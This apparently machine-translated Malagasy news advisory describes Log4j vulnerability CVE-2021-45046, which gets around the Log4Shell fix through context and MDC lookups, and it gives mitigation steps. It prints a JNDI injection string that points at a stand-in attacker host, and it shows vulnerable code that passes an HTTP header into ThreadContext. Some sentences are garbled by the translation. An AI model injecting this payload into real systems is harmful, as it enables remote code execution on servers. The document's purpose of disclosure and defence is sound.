Ny vulnerable iray hafa dia fantatra amin'ny fampiharana ny fikarohana JNDI ao amin'ny tranomboky Log4j 2 (CVE-2021-45046), izay miseho na dia eo aza ny fanamboarana nampidirina tamin'ny famoahana 2.15 ary na inona na inona fampiasana ny "log4j2.noFormatMsgLookup" toerana ho fiarovana. Ny olana dia mampidi-doza indrindra indrindra ho an'ny dikan-teny taloha an'ny Log4j 2, voaaro amin'ny fampiasana ny saina "noFormatMsgLookup", satria ahafahana mandingana ny fiarovana amin'ny vulnerability teo aloha (Log4Shell, CVE-2021-44228), izay ahafahanao manatanteraka ny codeo amin'ny mpizara. Ho an'ireo mpampiasa ny kinova 2.15, ny fanararaotana dia voafetra amin'ny fampiatoana ny fampiharana noho ny faharerahan'ny loharano misy.
Ny vulnerability dia miseho amin'ny rafitra mampiasa Context Lookups ho an'ny log, toy ny ${ctx:loginId}, na MDC templates (Thread Context Map), toy ny %X, %mdc, ary %MDC. Ny fandidiana dia tonga amin'ny famoronana fepetra hamoahana angon-drakitra misy fanoloana JNDI amin'ny diary rehefa mampiasa fanontaniana momba ny toe-javatra na maodely MDC ao amin'ny fampiharana izay mamaritra ny fitsipika momba ny fandrafetana ny vokatra ho an'ny log.
Ireo mpikaroka avy ao amin'ny LunaSec dia nanamarika fa ho an'ny dikan-teny Log4j latsaky ny 2.15, ity vulnerability ity dia azo ampiasaina ho vector vaovao amin'ny fanafihana Log4Shell, mitarika amin'ny famonoana kaody, raha toa ka ampiasaina amin'ny famoahana log ny fanehoana ThreadContext izay misy angona ivelany, na inona na inona Ny saina "protect" dia alefa. noMsgFormatLookups" na ny mΓ΄dely "%m{nolookups}".
Ny fandalovana ny fiarovana dia tonga amin'ny hoe raha tokony ho solon'ny "${jndi:ldap://attacker.com/a}" mivantana, io teny io dia soloina amin'ny sandan'ny fari-pahalalana mpanelanelana ampiasaina amin'ny fitsipika amin'ny fandrafetana ny famoahana log. . Ohatra, raha ampiasaina ny fangatahana contexte ${ctx:apiversion} rehefa mamoaka amin'ny log, dia azo atao ny fanafihana amin'ny fanoloana ny angona β${jndi:ldap://attacker.com/a}β ao amin'ny sanda voasoratra amin'ny fari-piadidiana apiversion. Ohatra amin'ny code vulnerable: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Ny sanda lohapejy HTTP "X-Api-Version" dia alefa any amin'ny ThreadContext ThreadContext.put("apiversion ", apiVersion ); // Rehefa mivoaka amin'ny log, ny sanda apiversion ivelany dia hokarakaraina amin'ny alalan'ny fanoloana ${ctx:apiversion} logger.info("Nahazo fangatahana ho an'ny version API"); miverena "Manahoana, izao tontolo izao!"; }
Ao amin'ny Log4j version 2.15, ny vulnerability dia azo ampiasaina amin'ny fanafihan'ny DoS rehefa mampita soatoavina amin'ny ThreadContext, ka miteraka famoriana amin'ny fanodinana mΓ΄dely famoahana.
Mba hanakanana ny vulnerability dia navoaka ny fanavaozana 2.16 sy 2.12.2. Ao amin'ny sampana Log4j 2.16, ho fanampin'ny fanamboarana nampiharina tamin'ny version 2.15 sy ny famatorana ny fangatahana JNDI LDAP amin'ny "localhost", ny fampiasa JNDI dia kilemaina tanteraka amin'ny alΓ lan'ny default ary nesorina ny fanohanana ny maodely fanoloana hafatra. Amin'ny maha-fiarovana fiarovana azy, dia soso-kevitra ny hanesorana ny kilasy JndiLookup amin'ny classpath (ohatra, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .
Azonao atao ny manara-maso ny fisehon'ny fanamboarana amin'ny fonosana amin'ny pejin'ny fizarana (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ary mpanamboatra sehatra Java (GitHub, Docker, Oracle, vmWare, Broadcom ary Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, sns.).
Source: opennet.ru